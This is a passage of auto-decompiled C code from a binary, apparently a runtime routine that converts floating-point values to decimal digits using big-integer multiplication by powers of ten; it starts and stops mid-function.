												}
											}
											goto L101;
										}
										L128:
										_v1400 = _t802;
										_t1061 = 0x1cc;
										_v936 = _t802;
										__eflags = _t802 << 2;
										E001D9D2E( &_v932, 0x1cc,  &_v1396, _t802 << 2);
										_t1282 =  &(_t1278[7]);
									} else {
										_v1396 = _v1396 & 0x00000000;
										_t1268 = 2;
										_v1392 = 0x100000;
										_v1400 = _t1268;
										__eflags = _t1058 - _t1268;
										if(_t1058 != _t1268) {
											L53:
											_t989 = _v1872 + 1;
											_t990 = _t989 & 0x0000001f;
											_t1118 = 0x20;
											_v1876 = _t990;
											_t1228 = _t989 >> 5;
											_v1872 = _t1228;
											_v1908 = _t1118 - _t990;
											_t993 = E001EF390(1, _t1118 - _t990, 0);
											_t1120 =  *((intOrPtr*)(_t1276 + _t1058 * 4 - 0x1d4));
											_t994 = _t993 - 1;
											_t108 =  &_v1896;
											 *_t108 = _v1896 & 0x00000000;
											__eflags =  *_t108;
											asm("bsr ecx, ecx");
											_v1884 = _t994;
											_v1912 =  !_t994;
											if( *_t108 == 0) {
												_t1121 = 0;
												__eflags = 0;
											} else {
												_t1121 = _t1120 + 1;
											}
											_t996 = 0x20;
											_t997 = _t996 - _t1121;
											_t1186 = _t1058 + _t1228;
											__eflags = _v1876 - _t997;
											_v1892 = _t1186;
											_t998 = _t997 & 0xffffff00 | _v1876 - _t997 > 0x00000000;
											__eflags = _t1186 - 0x73;
											_v1865 = _t998;
											_t1122 = _t1121 & 0xffffff00 | _t1186 - 0x00000073 > 0x00000000;
											__eflags = _t1186 - 0x73;
											if(_t1186 != 0x73) {
												L59:
												_t999 = 0;
												__eflags = 0;
											} else {
												__eflags = _t998;
												if(_t998 == 0) {
													goto L59;
												} else {
													_t999 = 1;
												}
											}
											__eflags = _t1122;
											if(_t1122 != 0) {
												L81:
												__eflags = 0;
												_t1061 = 0x1cc;
												_v1400 = 0;
												_v472 = 0;
												E001D9D2E( &_v468, 0x1cc,  &_v1396, 0);
												_t1278 =  &(_t1278[4]);
											} else {
												__eflags = _t999;
												if(_t999 != 0) {
													goto L81;
												} else {
													_t1123 = 0x72;
													__eflags = _t1186 - _t1123;
													if(_t1186 >= _t1123) {
														_t1186 = _t1123;
														_v1892 = _t1123;
													}
													_t1009 = _t1186;
													_v1880 = _t1009;
													__eflags = _t1186 - 0xffffffff;
													if(_t1186 != 0xffffffff) {
														_t1187 = _v1872;
														_t1270 = _t1186 - _t1187;
														__eflags = _t1270;
														_t1127 =  &_v468 + _t1270 * 4;
														_v1888 = _t1127;
														while(1) {
															__eflags = _t1009 - _t1187;
															if(_t1009 < _t1187) {
																break;
															}
															__eflags = _t1270 - _t1058;
															if(_t1270 >= _t1058) {
																_t1231 = 0;
																__eflags = 0;
															} else {
																_t1231 =  *_t1127;
															}
															__eflags = _t1270 - 1 - _t1058;
															if(_t1270 - 1 >= _t1058) {
																_t1014 = 0;
																__eflags = 0;
															} else {
																_t1014 =  *(_t1127 - 4);
															}
															_t1017 = _v1880;
															_t1127 = _v1888 - 4;
															_v1888 = _t1127;
															 *(_t1276 + _t1017 * 4 - 0x1d0) = (_t1231 & _v1884) << _v1876 | (_t1014 & _v1912) >> _v1908;
															_t1009 = _t1017 - 1;
															_t1270 = _t1270 - 1;
															_v1880 = _t1009;
															__eflags = _t1009 - 0xffffffff;
															if(_t1009 != 0xffffffff) {
																_t1058 = _v472;
																continue;
															}
															break;
														}
														_t1186 = _v1892;
														_t1228 = _v1872;
														_t1268 = 2;
													}
													__eflags = _t1228;
													if(_t1228 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1228 << 2);
														_t1278 =  &(_t1278[3]);
													}
													__eflags = _v1865;
													_t1061 = 0x1cc;
													if(_v1865 == 0) {
														_v472 = _t1186;
													} else {
														_v472 = _t1186 + 1;
													}
												}
											}
											_v1392 = _v1392 & 0x00000000;
											_v1396 = _t1268;
											_v1400 = 1;
											_v936 = 1;
											_push(4);
										} else {
											_t1131 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1276 + _t1131 - 0x570)) -  *((intOrPtr*)(_t1276 + _t1131 - 0x1d0));
												if( *((intOrPtr*)(_t1276 + _t1131 - 0x570)) !=  *((intOrPtr*)(_t1276 + _t1131 - 0x1d0))) {
													goto L53;
												}
												_t1131 = _t1131 + 4;
												__eflags = _t1131 - 8;
												if(_t1131 != 8) {
													continue;
												} else {
													_t1020 = _v1872 + 2;
													_t1021 = _t1020 & 0x0000001f;
													_t1132 = 0x20;
													_t1133 = _t1132 - _t1021;
													_v1888 = _t1021;
													_t1272 = _t1020 >> 5;
													_v1876 = _t1272;
													_v1908 = _t1133;
													_t1024 = E001EF390(1, _t1133, 0);
													_v1896 = _v1896 & 0x00000000;
													_t1025 = _t1024 - 1;
													__eflags = _t1025;
													asm("bsr ecx, edi");
													_v1884 = _t1025;
													_v1912 =  !_t1025;
													if(_t1025 == 0) {
														_t1134 = 0;
														__eflags = 0;
													} else {
														_t1134 = _t1133 + 1;
													}
													_t1027 = 0x20;
													_t1028 = _t1027 - _t1134;
													_t1189 = _t1272 + 2;
													__eflags = _v1888 - _t1028;
													_v1880 = _t1189;
													_t1029 = _t1028 & 0xffffff00 | _v1888 - _t1028 > 0x00000000;
													__eflags = _t1189 - 0x73;
													_v1865 = _t1029;
													_t1135 = _t1134 & 0xffffff00 | _t1189 - 0x00000073 > 0x00000000;
													__eflags = _t1189 - 0x73;
													if(_t1189 != 0x73) {
														L28:
														_t1030 = 0;
														__eflags = 0;
													} else {
														__eflags = _t1029;
														if(_t1029 == 0) {
															goto L28;
														} else {
															_t1030 = 1;
														}
													}
													__eflags = _t1135;
													if(_t1135 != 0) {
														L50:
														__eflags = 0;
														_t1061 = 0x1cc;
														_v1400 = 0;
														_v472 = 0;
														E001D9D2E( &_v468, 0x1cc,  &_v1396, 0);
														_t1278 =  &(_t1278[4]);
													} else {
														__eflags = _t1030;
														if(_t1030 != 0) {
															goto L50;
														} else {
															_t1138 = 0x72;
															__eflags = _t1189 - _t1138;
															if(_t1189 >= _t1138) {
																_t1189 = _t1138;
																_v1880 = _t1138;
															}
															_t1139 = _t1189;
															_v1892 = _t1139;
															__eflags = _t1189 - 0xffffffff;
															if(_t1189 != 0xffffffff) {
																_t1190 = _v1876;
																_t1274 = _t1189 - _t1190;
																__eflags = _t1274;
																_t1040 =  &_v468 + _t1274 * 4;
																_v1872 = _t1040;
																while(1) {
																	__eflags = _t1139 - _t1190;
																	if(_t1139 < _t1190) {
																		break;
																	}
																	__eflags = _t1274 - _t1058;
																	if(_t1274 >= _t1058) {
																		_t1237 = 0;
																		__eflags = 0;
																	} else {
																		_t1237 =  *_t1040;
																	}
																	__eflags = _t1274 - 1 - _t1058;
																	if(_t1274 - 1 >= _t1058) {
																		_t1042 = 0;
																		__eflags = 0;
																	} else {
																		_t1042 =  *(_v1872 - 4);
																	}
																	_t1144 = _v1892;
																	 *(_t1276 + _t1144 * 4 - 0x1d0) = (_t1042 & _v1912) >> _v1908 | (_t1237 & _v1884) << _v1888;
																	_t1139 = _t1144 - 1;
																	_t1274 = _t1274 - 1;
																	_t1040 = _v1872 - 4;
																	_v1892 = _t1139;
																	_v1872 = _t1040;
																	__eflags = _t1139 - 0xffffffff;
																	if(_t1139 != 0xffffffff) {
																		_t1058 = _v472;
																		continue;
																	}
																	break;
																}
																_t1189 = _v1880;
																_t1272 = _v1876;
															}
															__eflags = _t1272;
															if(_t1272 != 0) {
																__eflags = 0;
																memset( &_v468, 0, _t1272 << 2);
																_t1278 =  &(_t1278[3]);
															}
															__eflags = _v1865;
															_t1061 = 0x1cc;
															if(_v1865 == 0) {
																_v472 = _t1189;
															} else {
																_v472 = _t1189 + 1;
															}
														}
													}
													_v1392 = _v1392 & 0x00000000;
													_t1035 = 4;
													__eflags = 1;
													_v1396 = _t1035;
													_v1400 = 1;
													_v936 = 1;
													_push(_t1035);
												}
												goto L52;
											}
											goto L53;
										}
										L52:
										_push( &_v1396);
										_push(_t1061);
										_push( &_v932);
										E001D9D2E();
										_t1282 =  &(_t1278[4]);
									}
									_t807 = _v1904;
									_t1088 = 0xa;
									_v1912 = _t1088;
									__eflags = _t807;
									if(_t807 < 0) {
										_t808 =  ~_t807;
										_t809 = _t808 / _t1088;
										_v1880 = _t809;
										_t1089 = _t808 % _t1088;
										_v1884 = _t1089;
										__eflags = _t809;
										if(_t809 == 0) {
											L249:
											__eflags = _t1089;
											if(_t1089 != 0) {
												_t846 =  *(0x1f9174 + _t1089 * 4);
												_v1896 = _t846;
												__eflags = _t846;
												if(_t846 == 0) {
													L260:
													__eflags = 0;
													_push(0);
													_v472 = 0;
													_v2408 = 0;
													goto L261;
												} else {
													__eflags = _t846 - 1;
													if(_t846 != 1) {
														_t1100 = _v472;
														__eflags = _t1100;
														if(_t1100 != 0) {
															_t1206 = 0;
															_t1254 = 0;
															__eflags = 0;
															do {
																_t1160 = _t846 *  *(_t1276 + _t1254 * 4 - 0x1d0) >> 0x20;
																 *(_t1276 + _t1254 * 4 - 0x1d0) = _t846 *  *(_t1276 + _t1254 * 4 - 0x1d0) + _t1206;
																_t846 = _v1896;
																asm("adc edx, 0x0");
																_t1254 = _t1254 + 1;
																_t1206 = _t1160;
																__eflags = _t1254 - _t1100;
															} while (_t1254 != _t1100);
															__eflags = _t1206;
															if(_t1206 != 0) {
																_t853 = _v472;
																__eflags = _t853 - 0x73;
																if(_t853 >= 0x73) {
																	goto L260;
																} else {
																	 *(_t1276 + _t853 * 4 - 0x1d0) = _t1206;
																	_v472 = _v472 + 1;
																}
															}
														}
													}
												}
											}
										} else {
											do {
												__eflags = _t809 - 0x26;
												if(_t809 > 0x26) {
													_t809 = 0x26;
												}
												_t1101 =  *(0x1f90de + _t809 * 4) & 0x000000ff;
												_v1872 = _t809;
												_v1400 = ( *(0x1f90de + _t809 * 4) & 0x000000ff) + ( *(0x1f90df + _t809 * 4) & 0x000000ff);
												E001D8480(_t1101 << 2,  &_v1396, 0, _t1101 << 2);
												_t864 = E001D8850( &(( &_v1396)[_t1101]), 0x1f87d8 + ( *(0x1f90dc + _v1872 * 4) & 0x0000ffff) * 4, ( *(0x1f90df + _t809 * 4) & 0x000000ff) << 2);
												_t1102 = _v1400;
												_t1282 =  &(_t1282[6]);
												_v1892 = _t1102;
												__eflags = _t1102 - 1;
												if(_t1102 > 1) {
													__eflags = _v472 - 1;
													if(_v472 > 1) {
														__eflags = _t1102 - _v472;
														_t1209 =  &_v1396;
														_t865 = _t864 & 0xffffff00 | _t1102 - _v472 > 0x00000000;
														__eflags = _t865;
														if(_t865 != 0) {
															_t1161 =  &_v468;
														} else {
															_t1209 =  &_v468;
															_t1161 =  &_v1396;
														}
														_v1908 = _t1161;
														__eflags = _t865;
														if(_t865 == 0) {
															_t1102 = _v472;
														}
														_v1876 = _t1102;
														__eflags = _t865;
														if(_t865 != 0) {
															_v1892 = _v472;
														}
														_t1162 = 0;
														_t1256 = 0;
														_v1864 = 0;
														__eflags = _t1102;
														if(_t1102 == 0) {
															L243:
															_v472 = _t1162;
															_t867 = _t1162 << 2;
															__eflags = _t867;
															_push(_t867);
															_t868 =  &_v1860;
															goto L244;
														} else {
															_t1210 = _t1209 -  &_v1860;
															__eflags = _t1210;
															_v1928 = _t1210;
															do {
																_t875 =  *(_t1276 + _t1210 + _t1256 * 4 - 0x740);
																_v1896 = _t875;
																__eflags = _t875;
																if(_t875 != 0) {
																	_t876 = 0;
																	_t1211 = 0;
																	_t1103 = _t1256;
																	_v1888 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L240:
																		__eflags = _t1103 - 0x73;
																		if(_t1103 == 0x73) {
																			goto L258;
																		} else {
																			_t1210 = _v1928;
																			_t1102 = _v1876;
																			goto L242;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1103 - 0x73;
																			if(_t1103 == 0x73) {
																				goto L235;
																			}
																			__eflags = _t1103 - _t1162;
																			if(_t1103 == _t1162) {
																				 *(_t1276 + _t1103 * 4 - 0x740) =  *(_t1276 + _t1103 * 4 - 0x740) & 0x00000000;
																				_t888 = _t876 + 1 + _t1256;
																				__eflags = _t888;
																				_v1864 = _t888;
																				_t876 = _v1888;
																			}
																			_t883 =  *(_v1908 + _t876 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1276 + _t1103 * 4 - 0x740) =  *(_t1276 + _t1103 * 4 - 0x740) + _t883 * _v1896 + _t1211;
																			asm("adc edx, 0x0");
																			_t876 = _v1888 + 1;
																			_t1103 = _t1103 + 1;
																			_v1888 = _t876;
																			_t1211 = _t883 * _v1896 >> 0x20;
																			_t1162 = _v1864;
																			__eflags = _t876 - _v1892;
																			if(_t876 != _v1892) {
																				continue;
																			} else {
																				goto L235;
																			}
																			while(1) {
																				L235:
																				__eflags = _t1211;
																				if(_t1211 == 0) {
																					goto L240;
																				}
																				__eflags = _t1103 - 0x73;
																				if(_t1103 == 0x73) {
																					goto L258;
																				} else {
																					__eflags = _t1103 - _t1162;
																					if(_t1103 == _t1162) {
																						_t558 = _t1276 + _t1103 * 4 - 0x740;
																						 *_t558 =  *(_t1276 + _t1103 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t558;
																						_t564 = _t1103 + 1; // 0x1
																						_v1864 = _t564;
																					}
																					_t881 = _t1211;
																					_t1211 = 0;
																					 *(_t1276 + _t1103 * 4 - 0x740) =  *(_t1276 + _t1103 * 4 - 0x740) + _t881;
																					_t1162 = _v1864;
																					asm("adc edi, edi");
																					_t1103 = _t1103 + 1;
																					continue;
																				}
																				goto L246;
																			}
																			goto L240;
																		}
																		goto L235;
																	}
																} else {
																	__eflags = _t1256 - _t1162;
																	if(_t1256 == _t1162) {
																		 *(_t1276 + _t1256 * 4 - 0x740) =  *(_t1276 + _t1256 * 4 - 0x740) & _t875;
																		_t526 = _t1256 + 1; // 0x1
																		_t1162 = _t526;
																		_v1864 = _t1162;
																	}
																	goto L242;
																}
																goto L246;
																L242:
																_t1256 = _t1256 + 1;
																__eflags = _t1256 - _t1102;
															} while (_t1256 != _t1102);
															goto L243;
														}
													} else {
														_t1212 = _v468;
														_v472 = _t1102;
														E001D9D2E( &_v468, _t1061,  &_v1396, _t1102 << 2);
														_t1282 =  &(_t1282[4]);
														__eflags = _t1212;
														if(_t1212 == 0) {
															goto L203;
														} else {
															__eflags = _t1212 - 1;
															if(_t1212 == 1) {
																goto L245;
															} else {
																__eflags = _v472;
																if(_v472 == 0) {
																	goto L245;
																} else {
																	_t1104 = 0;
																	_v1896 = _v472;
																	_t1257 = 0;
																	__eflags = 0;
																	do {
																		_t897 = _t1212;
																		_t1163 = _t897 *  *(_t1276 + _t1257 * 4 - 0x1d0) >> 0x20;
																		 *(_t1276 + _t1257 * 4 - 0x1d0) = _t897 *  *(_t1276 + _t1257 * 4 - 0x1d0) + _t1104;
																		asm("adc edx, 0x0");
																		_t1257 = _t1257 + 1;
																		_t1104 = _t1163;
																		__eflags = _t1257 - _v1896;
																	} while (_t1257 != _v1896);
																	goto L208;
																}
															}
														}
													}
												} else {
													_t1213 = _v1396;
													__eflags = _t1213;
													if(_t1213 != 0) {
														__eflags = _t1213 - 1;
														if(_t1213 == 1) {
															goto L245;
														} else {
															__eflags = _v472;
															if(_v472 == 0) {
																goto L245;
															} else {
																_t1105 = 0;
																_v1896 = _v472;
																_t1258 = 0;
																__eflags = 0;
																do {
																	_t902 = _t1213;
																	_t1164 = _t902 *  *(_t1276 + _t1258 * 4 - 0x1d0) >> 0x20;
																	 *(_t1276 + _t1258 * 4 - 0x1d0) = _t902 *  *(_t1276 + _t1258 * 4 - 0x1d0) + _t1105;
																	asm("adc edx, 0x0");
																	_t1258 = _t1258 + 1;
																	_t1105 = _t1164;
																	__eflags = _t1258 - _v1896;
																} while (_t1258 != _v1896);
																L208:
																__eflags = _t1104;
																if(_t1104 == 0) {
																	goto L245;
																} else {
																	_t900 = _v472;
																	__eflags = _t900 - 0x73;
																	if(_t900 >= 0x73) {
																		L258:
																		_v2408 = 0;
																		_v472 = 0;
																		E001D9D2E( &_v468, _t1061,  &_v2404, 0);
																		_t1282 =  &(_t1282[4]);
																		_t871 = 0;
																	} else {
																		 *(_t1276 + _t900 * 4 - 0x1d0) = _t1104;
																		_v472 = _v472 + 1;
																		goto L245;
																	}
																}
															}
														}
													} else {
														L203:
														_v2408 = 0;
														_v472 = 0;
														_push(0);
														_t868 =  &_v2404;
														L244:
														_push(_t868);
														_push(_t1061);
														_push( &_v468);
														E001D9D2E();
														_t1282 =  &(_t1282[4]);
														L245:
														_t871 = 1;
													}
												}
												L246:
												__eflags = _t871;
												if(_t871 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_v472 = _v472 & 0x00000000;
													_push(0);
													L261:
													_push( &_v2404);
													_t849 =  &_v468;
													goto L262;
												} else {
													goto L247;
												}
												goto L263;
												L247:
												_t809 = _v1880 - _v1872;
												__eflags = _t809;
												_v1880 = _t809;
											} while (_t809 != 0);
											_t1089 = _v1884;
											goto L249;
										}
									} else {
										_t905 = _t807 / _t1088;
										_v1908 = _t905;
										_t1106 = _t807 % _t1088;
										_v1896 = _t1106;
										__eflags = _t905;
										if(_t905 == 0) {
											L184:
											__eflags = _t1106;
											if(_t1106 != 0) {
												_t1214 =  *(0x1f9174 + _t1106 * 4);
												__eflags = _t1214;
												if(_t1214 != 0) {
													__eflags = _t1214 - 1;
													if(_t1214 != 1) {
														_t906 = _v936;
														_v1896 = _t906;
														__eflags = _t906;
														if(_t906 != 0) {
															_t1259 = 0;
															_t1107 = 0;
															__eflags = 0;
															do {
																_t907 = _t1214;
																_t1168 = _t907 *  *(_t1276 + _t1107 * 4 - 0x3a0) >> 0x20;
																 *(_t1276 + _t1107 * 4 - 0x3a0) = _t907 *  *(_t1276 + _t1107 * 4 - 0x3a0) + _t1259;
																asm("adc edx, 0x0");
																_t1107 = _t1107 + 1;
																_t1259 = _t1168;
																__eflags = _t1107 - _v1896;
															} while (_t1107 != _v1896);
															__eflags = _t1259;
															if(_t1259 != 0) {
																_t910 = _v936;
																__eflags = _t910 - 0x73;
																if(_t910 >= 0x73) {
																	goto L186;
																} else {
																	 *(_t1276 + _t910 * 4 - 0x3a0) = _t1259;
																	_v936 = _v936 + 1;
																}
															}
														}
													}
												} else {
													L186:
													_v2408 = 0;
													_v936 = 0;
													_push(0);
													goto L190;
												}
											}
										} else {
											do {
												__eflags = _t905 - 0x26;
												if(_t905 > 0x26) {
													_t905 = 0x26;
												}
												_t1108 =  *(0x1f90de + _t905 * 4) & 0x000000ff;
												_v1888 = _t905;
												_v1400 = ( *(0x1f90de + _t905 * 4) & 0x000000ff) + ( *(0x1f90df + _t905 * 4) & 0x000000ff);
												E001D8480(_t1108 << 2,  &_v1396, 0, _t1108 << 2);
												_t923 = E001D8850( &(( &_v1396)[_t1108]), 0x1f87d8 + ( *(0x1f90dc + _v1888 * 4) & 0x0000ffff) * 4, ( *(0x1f90df + _t905 * 4) & 0x000000ff) << 2);
												_t1109 = _v1400;
												_t1282 =  &(_t1282[6]);
												_v1892 = _t1109;
												__eflags = _t1109 - 1;
												if(_t1109 > 1) {
													__eflags = _v936 - 1;
													if(_v936 > 1) {
														__eflags = _t1109 - _v936;
														_t1217 =  &_v1396;
														_t924 = _t923 & 0xffffff00 | _t1109 - _v936 > 0x00000000;
														__eflags = _t924;
														if(_t924 != 0) {
															_t1169 =  &_v932;
														} else {
															_t1217 =  &_v932;
															_t1169 =  &_v1396;
														}
														_v1876 = _t1169;
														__eflags = _t924;
														if(_t924 == 0) {
															_t1109 = _v936;
														}
														_v1880 = _t1109;
														__eflags = _t924;
														if(_t924 != 0) {
															_v1892 = _v936;
														}
														_t1170 = 0;
														_t1261 = 0;
														_v1864 = 0;
														__eflags = _t1109;
														if(_t1109 == 0) {
															L177:
															_v936 = _t1170;
															_t926 = _t1170 << 2;
															__eflags = _t926;
															goto L178;
														} else {
															_t1218 = _t1217 -  &_v1860;
															__eflags = _t1218;
															_v1928 = _t1218;
															do {
																_t934 =  *(_t1276 + _t1218 + _t1261 * 4 - 0x740);
																_v1884 = _t934;
																__eflags = _t934;
																if(_t934 != 0) {
																	_t935 = 0;
																	_t1219 = 0;
																	_t1110 = _t1261;
																	_v1872 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L174:
																		__eflags = _t1110 - 0x73;
																		if(_t1110 == 0x73) {
																			goto L187;
																		} else {
																			_t1218 = _v1928;
																			_t1109 = _v1880;
																			goto L176;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1110 - 0x73;
																			if(_t1110 == 0x73) {
																				goto L169;
																			}
																			__eflags = _t1110 - _t1170;
																			if(_t1110 == _t1170) {
																				 *(_t1276 + _t1110 * 4 - 0x740) =  *(_t1276 + _t1110 * 4 - 0x740) & 0x00000000;
																				_t947 = _t935 + 1 + _t1261;
																				__eflags = _t947;
																				_v1864 = _t947;
																				_t935 = _v1872;
																			}
																			_t942 =  *(_v1876 + _t935 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1276 + _t1110 * 4 - 0x740) =  *(_t1276 + _t1110 * 4 - 0x740) + _t942 * _v1884 + _t1219;
																			asm("adc edx, 0x0");
																			_t935 = _v1872 + 1;
																			_t1110 = _t1110 + 1;
																			_v1872 = _t935;
																			_t1219 = _t942 * _v1884 >> 0x20;
																			_t1170 = _v1864;
																			__eflags = _t935 - _v1892;
																			if(_t935 != _v1892) {
																				continue;
																			} else {
																				goto L169;
																			}
																			while(1) {
																				L169:
																				__eflags = _t1219;
																				if(_t1219 == 0) {
																					goto L174;
																				}
																				__eflags = _t1110 - 0x73;
																				if(_t1110 == 0x73) {
																					L187:
																					__eflags = 0;
																					_v2408 = 0;
																					_v936 = 0;
																					_push(0);
																					_t937 =  &_v2404;
																					goto L188;
																				} else {
																					__eflags = _t1110 - _t1170;
																					if(_t1110 == _t1170) {
																						_t370 = _t1276 + _t1110 * 4 - 0x740;
																						 *_t370 =  *(_t1276 + _t1110 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t370;
																						_t376 = _t1110 + 1; // 0x1
																						_v1864 = _t376;
																					}
																					_t940 = _t1219;
																					_t1219 = 0;
																					 *(_t1276 + _t1110 * 4 - 0x740) =  *(_t1276 + _t1110 * 4 - 0x740) + _t940;
																					_t1170 = _v1864;
																					asm("adc edi, edi");
																					_t1110 = _t1110 + 1;
																					continue;
																				}
																				goto L181;
																			}
																			goto L174;
																		}
																		goto L169;
																	}
																} else {
																	__eflags = _t1261 - _t1170;
																	if(_t1261 == _t1170) {
																		 *(_t1276 + _t1261 * 4 - 0x740) =  *(_t1276 + _t1261 * 4 - 0x740) & _t934;
																		_t338 = _t1261 + 1; // 0x1
																		_t1170 = _t338;
																		_v1864 = _t1170;
																	}
																	goto L176;
																}
																goto L181;
																L176:
																_t1261 = _t1261 + 1;
																__eflags = _t1261 - _t1109;
															} while (_t1261 != _t1109);
															goto L177;
														}
													} else {
														_t1220 = _v932;
														_v936 = _t1109;
														E001D9D2E( &_v932, _t1061,  &_v1396, _t1109 << 2);
														_t1282 =  &(_t1282[4]);
														__eflags = _t1220;
														if(_t1220 != 0) {
															__eflags = _t1220 - 1;
															if(_t1220 == 1) {
																goto L180;
															} else {
																__eflags = _v936;
																if(_v936 == 0) {
																	goto L180;
																} else {
																	_t1111 = 0;
																	_v1884 = _v936;
																	_t1262 = 0;
																	__eflags = 0;
																	do {
																		_t955 = _t1220;
																		_t1171 = _t955 *  *(_t1276 + _t1262 * 4 - 0x3a0) >> 0x20;
																		 *(_t1276 + _t1262 * 4 - 0x3a0) = _t955 *  *(_t1276 + _t1262 * 4 - 0x3a0) + _t1111;
																		asm("adc edx, 0x0");
																		_t1262 = _t1262 + 1;
																		_t1111 = _t1171;
																		__eflags = _t1262 - _v1884;
																	} while (_t1262 != _v1884);
																	goto L149;
																}
															}
														} else {
															_v1400 = 0;
															_v936 = 0;
															_push(0);
															_t927 =  &_v1396;
															goto L179;
														}
													}
												} else {
													_t1221 = _v1396;
													__eflags = _t1221;
													if(_t1221 != 0) {
														__eflags = _t1221 - 1;
														if(_t1221 == 1) {
															goto L180;
														} else {
															__eflags = _v936;
															if(_v936 == 0) {
																goto L180;
															} else {
																_t1112 = 0;
																_v1884 = _v936;
																_t1263 = 0;
																__eflags = 0;
																do {
																	_t962 = _t1221;
																	_t1172 = _t962 *  *(_t1276 + _t1263 * 4 - 0x3a0) >> 0x20;
																	 *(_t1276 + _t1263 * 4 - 0x3a0) = _t962 *  *(_t1276 + _t1263 * 4 - 0x3a0) + _t1112;
																	asm("adc edx, 0x0");
																	_t1263 = _t1263 + 1;
																	_t1112 = _t1172;
																	__eflags = _t1263 - _v1884;
																} while (_t1263 != _v1884);
																L149:
																__eflags = _t1111;
																if(_t1111 == 0) {
																	goto L180;
																} else {
																	_t958 = _v936;
																	__eflags = _t958 - 0x73;
																	if(_t958 < 0x73) {
																		 *(_t1276 + _t958 * 4 - 0x3a0) = _t1111;
																		_v936 = _v936 + 1;
																		goto L180;
																	} else {
																		_v1400 = 0;
																		_v936 = 0;
																		_push(0);
																		_t937 =  &_v1396;
																		L188:
																		_push(_t937);
																		_push(_t1061);
																		_push( &_v932);
																		E001D9D2E();
																		_t1282 =  &(_t1282[4]);
																		_t930 = 0;
																	}
																}
															}
														}
													} else {
														_t926 = 0;
														_v1864 = 0;
														_v936 = 0;
														L178:
														_push(_t926);
														_t927 =  &_v1860;
														L179:
														_push(_t927);
														_push(_t1061);
														_push( &_v932);
														E001D9D2E();
														_t1282 =  &(_t1282[4]);
														L180:
														_t930 = 1;
													}
												}
												L181:
												__eflags = _t930;
												if(_t930 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_t404 =  &_v936;
													 *_t404 = _v936 & 0x00000000;
													__eflags =  *_t404;
													_push(0);
													L190:
													_push( &_v2404);
													_t849 =  &_v932;
													L262:
													_push(_t1061);
													_push(_t849);
													E001D9D2E();
													_t1282 =  &(_t1282[4]);
												} else {
													goto L182;
												}
												goto L263;
												L182:
												_t905 = _v1908 - _v1888;
												__eflags = _t905;
												_v1908 = _t905;
											} while (_t905 != 0);
											_t1106 = _v1896;
											goto L184;
										}
									}
									L263:
									_t1201 = _v1920;
									_t1249 = _t1201;
									_t1090 = _v472;
									_v1872 = _t1249;
									__eflags = _t1090;
									if(_t1090 != 0) {
										_t1253 = 0;
										_t1205 = 0;
										__eflags = 0;
										do {
											_t838 =  *(_t1276 + _t1205 * 4 - 0x1d0);
											_t1158 = 0xa;
											_t1159 = _t838 * _t1158 >> 0x20;
											 *(_t1276 + _t1205 * 4 - 0x1d0) = _t838 * _t1158 + _t1253;
											asm("adc edx, 0x0");
											_t1205 = _t1205 + 1;
											_t1253 = _t1159;
											__eflags = _t1205 - _t1090;
										} while (_t1205 != _t1090);
										_v1896 = _t1253;
										__eflags = _t1253;
										_t1249 = _v1872;
										if(_t1253 != 0) {
											_t1099 = _v472;
											__eflags = _t1099 - 0x73;
											if(_t1099 >= 0x73) {
												__eflags = 0;
												_v2408 = 0;
												_v472 = 0;
												E001D9D2E( &_v468, _t1061,  &_v2404, 0);
												_t1282 =  &(_t1282[4]);
											} else {
												 *(_t1276 + _t1099 * 4 - 0x1d0) = _t1159;
												_v472 = _v472 + 1;
											}
										}
										_t1201 = _t1249;
									}
									_t812 = E001E9380( &_v472,  &_v936);
									_t1151 = 0xa;
									__eflags = _t812 - _t1151;
									if(_t812 != _t1151) {
										__eflags = _t812;
										if(_t812 != 0) {
											_t813 = _t812 + 0x30;
											__eflags = _t813;
											_t1249 = _t1201 + 1;
											 *_t1201 = _t813;
											_v1872 = _t1249;
											goto L282;
										} else {
											_t814 = _v1904 - 1;
										}
									} else {
										_v1904 = _v1904 + 1;
										_t1249 = _t1201 + 1;
										_t829 = _v936;
										 *_t1201 = 0x31;
										_v1872 = _t1249;
										__eflags = _t829;
										if(_t829 != 0) {
											_t1204 = 0;
											_t1252 = _t829;
											_t1098 = 0;
											__eflags = 0;
											do {
												_t830 =  *(_t1276 + _t1098 * 4 - 0x3a0);
												 *(_t1276 + _t1098 * 4 - 0x3a0) = _t830 * _t1151 + _t1204;
												asm("adc edx, 0x0");
												_t1098 = _t1098 + 1;
												_t1204 = _t830 * _t1151 >> 0x20;
												_t1151 = 0xa;
												__eflags = _t1098 - _t1252;
											} while (_t1098 != _t1252);
											_t1249 = _v1872;
											__eflags = _t1204;
											if(_t1204 != 0) {
												_t833 = _v936;
												__eflags = _t833 - 0x73;
												if(_t833 >= 0x73) {
													_v2408 = 0;
													_v936 = 0;
													E001D9D2E( &_v932, _t1061,  &_v2404, 0);
													_t1282 =  &(_t1282[4]);
												} else {
													 *(_t1276 + _t833 * 4 - 0x3a0) = _t1204;
													_v936 = _v936 + 1;
												}
											}
										}
										L282:
										_t814 = _v1904;
									}
									 *((intOrPtr*)(_v1924 + 4)) = _t814;
									_t1067 = _v1916;
									__eflags = _t814;
									if(_t814 >= 0) {
										__eflags = _t1067 - 0x7fffffff;
										if(_t1067 <= 0x7fffffff) {
											_t1067 = _t1067 + _t814;
											__eflags = _t1067;
										}
									}
									_t816 = _a24 - 1;
									__eflags = _t816 - _t1067;
									if(_t816 >= _t1067) {
										_t816 = _t1067;
									}
									_t757 = _t816 + _v1920;
									_v1916 = _t757;
									__eflags = _t1249 - _t757;
									if(__eflags != 0) {
										while(1) {
											_t757 = _v472;
											__eflags = _t757;
											if(__eflags == 0) {
												goto L303;
											}
											_t1202 = 0;
											_t1250 = _t757;
											_t1094 = 0;
											__eflags = 0;
											do {
												_t817 =  *(_t1276 + _t1094 * 4 - 0x1d0);
